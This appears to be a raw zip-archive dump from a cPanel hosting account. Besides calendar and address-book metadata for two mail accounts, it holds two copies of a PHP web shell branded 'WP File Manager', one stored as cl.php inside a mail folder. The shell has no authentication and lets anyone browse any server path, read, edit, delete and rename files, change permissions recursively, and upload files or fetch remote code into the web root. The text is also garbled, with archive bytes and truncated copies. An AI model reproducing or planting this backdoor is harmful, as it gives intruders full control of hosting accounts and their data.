"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK’&{]óSÅåBB%croatia@dunyagozbalkans.com/.metadatanu"º] €[addressbook] type VADDRESSBOOK description Default Address Book automatically created for your account. displayname cPanel CardDAV Address Book protected 1 [calendar] type VCALENDAR description Default Calendar automatically created for your account. calendar-color #ff6c2c displayname cPanel CalDAV Calendar protected 1 PK’&{]^ê„BB#info@liridonigraphics.com/.metadatanu„[µü¤[addressbook] type VADDRESSBOOK protected 1 description Default Address Book automatically created for your account. displayname cPanel CardDAV Address Book [calendar] type VCALENDAR calendar-color #ff6c2c displayname cPanel CalDAV Calendar description Default Calendar automatically created for your account. protected 1 PK’&{]„N9³§Ë§Ë info@liridonigraphics.com/cl.phpnu„[µü¤ cllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
